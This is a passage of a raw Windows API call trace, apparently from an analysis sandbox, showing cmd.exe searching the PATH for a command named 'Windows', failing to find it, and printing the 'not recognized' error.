0xffffffffffffffff [0232.020] GetLastError () returned 0x2 [0232.020] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.020] GetLastError () returned 0x2 [0232.020] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.021] GetLastError () returned 0x2 [0232.021] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.021] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.021] GetLastError () returned 0x2 [0232.021] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.021] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d150 [0232.021] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0232.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.022] GetLastError () returned 0x2 [0232.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.022] GetLastError () returned 0x2 [0232.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.022] GetLastError () returned 0x2 [0232.022] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.023] GetLastError () returned 0x2 [0232.023] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.023] GetLastError () returned 0x2 [0232.023] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.023] GetLastError () returned 0x2 [0232.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.024] GetLastError () returned 0x2 [0232.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.024] GetLastError () returned 0x2 [0232.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.024] GetLastError () returned 0x2 [0232.024] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.025] GetLastError () returned 0x2 [0232.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.025] GetLastError () returned 0x2 [0232.025] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.025] GetLastError () returned 0x2 [0232.025] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.025] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.026] GetLastError () returned 0x2 [0232.026] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.026] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.026] GetLastError () returned 0x2 [0232.026] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.026] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.027] GetLastError () returned 0x2 [0232.027] ??_V@YAXPEAX@Z () returned 0x1 [0232.027] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0232.031] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.031] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.031] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.031] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.032] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.032] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.032] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.032] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.032] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.032] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.032] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.032] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.032] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.032] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.032] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.032] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.032] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.033] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.033] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.033] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.033] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.033] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.033] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.033] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.033] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.033] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.033] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.033] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.033] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.033] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.033] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.033] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.033] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.033] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.033] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.033] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.033] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.034] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.034] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.034] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.034] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.034] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.034] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.034] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.034] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.034] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.034] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.034] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.034] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.034] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.034] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.034] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.034] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.034] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.034] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.034] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.034] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.034] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.034] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.034] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.034] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.034] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.035] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.035] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.035] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.035] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.035] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.035] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.035] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.035] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.035] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.035] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.035] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.035] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.035] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.035] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.035] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.035] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.035] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.035] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.035] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.035] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.035] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.035] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.035] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.035] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.035] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.036] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.036] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0232.036] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0232.036] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0232.036] ??_V@YAXPEAX@Z () returned 0x1 [0232.036] GetProcessHeap () returned 0x20b0f920000 [0232.036] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0232.036] GetProcessHeap () returned 0x20b0f920000 [0232.036] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f92d600 [0232.036] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.037] malloc (_Size=0xffce) returned 0x20b0fa80900 [0232.037] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0232.038] GetProcessHeap () returned 0x20b0f920000 [0232.038] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0232.039] SetErrorMode (uMode=0x0) returned 0x0 [0232.039] SetErrorMode (uMode=0x1) returned 0x0 [0232.039] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0232.039] SetErrorMode (uMode=0x0) returned 0x1 [0232.039] GetProcessHeap () returned 0x20b0f920000 [0232.039] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0232.039] GetProcessHeap () returned 0x20b0f920000 [0232.039] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0232.040] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.040] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947890 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0232.040] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946ec0 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946ec0, Size=0x7e) returned 0x20b0f956b50 [0232.040] GetProcessHeap () returned 0x20b0f920000 [0232.040] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956b50) returned 0x7e [0232.040] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.040] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d2d0 [0232.041] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0232.041] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.041] GetLastError () returned 0x2 [0232.041] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.042] GetLastError () returned 0x2 [0232.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.042] GetLastError () returned 0x2 [0232.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.042] GetLastError () returned 0x2 [0232.042] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.042] GetLastError () returned 0x2 [0232.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.043] GetLastError () returned 0x2 [0232.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.043] GetLastError () returned 0x2 [0232.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.043] GetLastError () returned 0x2 [0232.043] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.044] GetLastError () returned 0x2 [0232.044] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.044] GetLastError () returned 0x2 [0232.044] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.044] GetLastError () returned 0x2 [0232.044] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.044] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.045] GetLastError () returned 0x2 [0232.045] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.045] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0232.045] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0232.045] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.045] GetLastError () returned 0x2 [0232.045] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.046] GetLastError () returned 0x2 [0232.046] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.046] GetLastError () returned 0x2 [0232.046] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.046] GetLastError () returned 0x2 [0232.046] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.046] GetLastError () returned 0x2 [0232.047] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.047] GetLastError () returned 0x2 [0232.047] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.047] GetLastError () returned 0x2 [0232.047] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.047] GetLastError () returned 0x2 [0232.047] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.048] GetLastError () returned 0x2 [0232.048] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.048] GetLastError () returned 0x2 [0232.048] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.048] GetLastError () returned 0x2 [0232.048] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.048] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.049] GetLastError () returned 0x2 [0232.049] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.049] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.049] GetLastError () returned 0x2 [0232.049] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.049] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.049] GetLastError () returned 0x2 [0232.049] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.050] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.051] GetLastError () returned 0x2 [0232.052] ??_V@YAXPEAX@Z () returned 0x1 [0232.052] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.052] GetFileType (hFile=0x54) returned 0x2 [0232.052] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.052] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.053] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.053] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.053] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.053] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.053] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.061] ??_V@YAXPEAX@Z () returned 0x1 [0232.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.062] 